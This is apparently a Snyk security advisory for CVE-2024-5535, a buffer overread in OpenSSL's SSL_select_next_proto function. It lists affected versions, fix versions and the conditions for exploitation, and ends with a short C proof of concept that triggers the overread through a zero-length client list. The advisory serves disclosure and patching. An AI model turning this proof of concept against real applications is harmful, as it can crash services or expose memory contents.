Information Exposure Affecting openssl package, versions [3.0.5,3.0.15)[3.1.0,3.1.7)[3.2.0,3.2.3)[3.3.1,3.3.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
4.37% (89th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Information Exposure vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-CONAN-OPENSSL-10078079
  • published8 May 2025
  • disclosed27 Jun 2024
  • creditJoseph Birr-Pixton

Introduced: 27 Jun 2024

CVE-2024-5535  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade openssl to version 3.0.15, 3.1.7, 3.2.3, 3.3.2 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure through the SSL_select_next_proto function. An attacker can cause unexpected application behavior or a crash by exploiting the buffer overread condition when the function is called with a zero-length client list. This is only exploitable if the application is misconfigured to use a zero-length server list and mishandles the 'no overlap' response in ALPN or uses the output as the opportunistic protocol in NPN.

Note:

The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.

PoC

#include <openssl/ssl.h>
#include <stdint.h>
#include <stdio.h>

int main() {
  uint8_t client_input[] = {};
  uint8_t *output = NULL;
  uint8_t output_len = 0;
  const uint8_t server_input[] = {2, 'h', '2'};

  int ret = SSL_select_next_proto(&output, &output_len, server_input,
                                  sizeof(server_input), client_input, 0);
  printf("ret = %d\n", ret);
  printf("output = %p\n", output);
  printf("output_len = %u\n", (unsigned)output_len);
  return 0;
}

CVSS Base Scores

version 4.0
version 3.1